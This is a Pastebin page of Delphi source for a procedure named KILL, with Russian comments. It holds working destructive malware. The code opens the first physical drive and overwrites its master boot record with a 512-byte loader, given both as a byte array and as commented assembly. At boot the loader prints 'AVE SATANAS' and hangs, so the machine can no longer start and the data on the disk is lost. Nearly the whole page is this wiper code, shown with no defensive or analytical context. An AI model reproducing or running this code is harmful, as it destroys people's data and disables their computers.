Advertisement
Guest User

Delphi.kill.source

a guest
Dec 21st, 2012
134
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
DCS 3.64 KB | None | 0 0
  1. procedure KILL;  
  2.  type  
  3.  loader = array [0..511] of byte;  
  4.  
  5.  const  
  6.  NewLoader:loader =  
  7.  ($b4, $13, $b9, $0b, $00, $b0, $00, $b6, $00, $b2, $00, $bd, $14, $7c, $b3, $1f,  
  8.  $cd, $10, $eb, $fe, $41, $56, $45, $20, $53, $41, $54, $41, $4e, $41, $53, $00,  
  9.  $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00,  
  10.  $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00,  
  11.  $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00,  
  12.  $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00,  
  13.  $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00,  
  14.  $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00,  
  15.  $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00,  
  16.  $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00,  
  17.  $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00,  
  18.  $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00,  
  19.  $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00,  
  20.  $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00,  
  21.  $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00,  
  22.  $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00,  
  23.  $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00,  
  24.  $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00,  
  25.  $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00,  
  26.  $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00,  
  27.  $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00,  
  28.  $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00,  
  29.  $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00,  
  30.  $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00,  
  31.  $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00,  
  32.  $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00,  
  33.  $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00,  
  34.  $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00,  
  35.  $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00,  
  36.  $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00,  
  37.  $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00,  
  38.  $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $55, $aa);// #aa#55 это сигнатура загрузчика
  39.  
  40.  {  
  41.  данная константа это скомпиленный асм код:  
  42.  .model tiny  
  43.  .code  
  44.  org 7C00h  
  45.  start:  
  46.    mov ah,13h ;number of command  
  47.    mov cx,11 ; nomber  
  48.    mov al,0h ;wiev mode  
  49.    mov dh,0  ; X, координаты куда будет выведенно сообщение  
  50.    mov dl,0  ; Y  
  51.    mov bp,offset MESSAGE;offset  
  52.    mov bl,00011111b ;color  
  53.    INT 10h  
  54.    jmp $;вечный цикл  
  55.    DATA:  
  56.    MESSAGE db "AVE SATANAS",0h;Слава Сатане(латынь)  
  57.  
  58.  end start  
  59.    }  
  60.  
  61.  var  
  62.  f1,f2:cardinal;  
  63.  buf:loader;  
  64.  nr,nw:Cardinal;  
  65.  BEGIN  
  66.     f1 := CreateFileA('\\.\PhysicalDrive0',GENERIC_ALL,FILE_SHARE_WRITE + FILE_SHARE_READ,0,OPEN_EXISTING,0,0);    
  67.     buf := NewLoader;//заполняем буфер  
  68.     WriteFile(f1,buf,512,nw,0);  
  69.     CloseHandle(f1);  
  70.  end;
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement